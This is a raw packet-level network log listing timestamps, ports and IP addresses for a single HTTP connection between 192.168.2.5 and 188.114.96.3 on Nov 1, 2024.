Nov 1, 2024 15:15:00.898912907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.898930073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.898930073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899010897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899013996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899023056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899034023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899044037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899054050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899065971 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899101973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899101973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899463892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899513960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899574995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899585009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899595022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899606943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899622917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899636984 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899657011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899667978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899681091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899705887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899776936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899787903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899799109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899836063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899836063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899864912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899874926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899884939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.899916887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.899918079 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900258064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900377035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900388002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900434017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900517941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900530100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900547981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900558949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900571108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900571108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900589943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900621891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900783062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900794029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900804996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900820971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900835991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.900842905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900842905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.900887012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901029110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901040077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901046991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901051998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901058912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901124954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901310921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901321888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901333094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901339054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901345015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901355028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901365995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901386976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901426077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901766062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901777029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901787043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901822090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901833057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901839972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901851892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901863098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901875019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.901911020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901911020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.901911020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902074099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902143002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902326107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902337074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902348042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902358055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902368069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902379036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902379990 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902390003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902403116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902416945 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902450085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902484894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902502060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902513981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902525902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902537107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902544022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902549028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902559996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902570009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902571917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902581930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902592897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902602911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902614117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902626038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902636051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902636051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902636051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902637005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902657986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902672052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902717113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902729034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902739048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902750015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902761936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902771950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902775049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902782917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902792931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902805090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902816057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902818918 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902818918 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902818918 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902829885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902837992 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902846098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902857065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902868032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902879953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902899027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902905941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902905941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902910948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902921915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902932882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902945995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902947903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902947903 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902961969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.902967930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.902973890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903008938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903008938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903026104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903037071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903047085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903059006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903069973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903105974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903105974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903105974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903115988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903126955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903137922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903150082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903162003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903165102 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903165102 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903199911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903230906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903243065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903254032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903331995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903331995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903347015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903357029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903367043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903378963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903390884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903403997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903414965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903428078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903445005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903445005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903445005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903460979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903481007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903493881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903511047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903522015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903532982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903538942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903538942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903542995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903554916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903564930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903578043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903588057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903594017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903599024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903610945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903613091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903624058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903639078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903650045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903650045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903691053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903709888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903781891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903794050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903804064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903815985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903827906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903835058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903840065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903850079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903862000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903872013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903882027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903893948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903903961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903912067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903912067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903912067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903923035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903935909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.903978109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903978109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.903978109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904122114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904133081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904144049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904155970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904165983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904175997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904186964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904196978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904210091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904211998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904211998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904211998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904222012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904233932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904251099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904253006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904263020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904273987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904284954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904295921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904304028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904333115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904333115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904333115 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904391050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904400110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904412031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904422998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904436111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904448032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904458046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904458046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904469967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904480934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904491901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904505014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904509068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904509068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904516935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904529095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904540062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904546022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904546022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904552937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904592037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904592037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904627085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904680014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904691935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904702902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904714108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904725075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904736996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904747963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904759884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904762030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904762030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904772043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904783010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904799938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904799938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904802084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904814005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904820919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904820919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904825926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904838085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.904867887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904902935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.904992104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905004025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905014038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905025005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905034065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905035973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905049086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905060053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905071020 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905071974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905085087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905095100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905106068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905112028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905112028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905117989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905128002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905138016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905153036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905165911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905205011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905205011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905349016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905359983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905371904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905383110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905394077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905396938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905405998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905416965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905421019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905435085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905446053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905462027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905469894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905469894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905474901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905486107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905498028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905509949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905522108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905533075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905539989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905539989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.905554056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.905559063 CET	49874	80	192.168.2.5	188.114.96.3
